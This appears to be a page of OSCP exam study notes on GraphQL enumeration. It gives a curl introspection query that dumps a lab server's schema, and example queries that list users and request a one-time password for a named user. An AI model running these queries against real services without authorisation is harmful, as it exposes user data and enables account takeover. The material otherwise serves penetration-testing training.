> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/services/graphql.md).

# GraphQL

<details>

<summary><strong>Enumerate Database Schema via Introspection</strong></summary>

```bash
curl -g "http://192.168.120.186:8433/graphql?query=fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}" | jq  
```

* Look for suspicious/interesting functions
* curl `-g` allows urls to contain the letters `{}[]` without having curl itself interpret them.

</details>

<details>

<summary>Querying for specific functions</summary>

```bash
curl -g "http://192.168.120.186:8433/graphql?query={listUsers}"
curl -g "http://192.168.120.186:8433/graphql?query={getOTP(username:%22peter%22)}"
```

</details>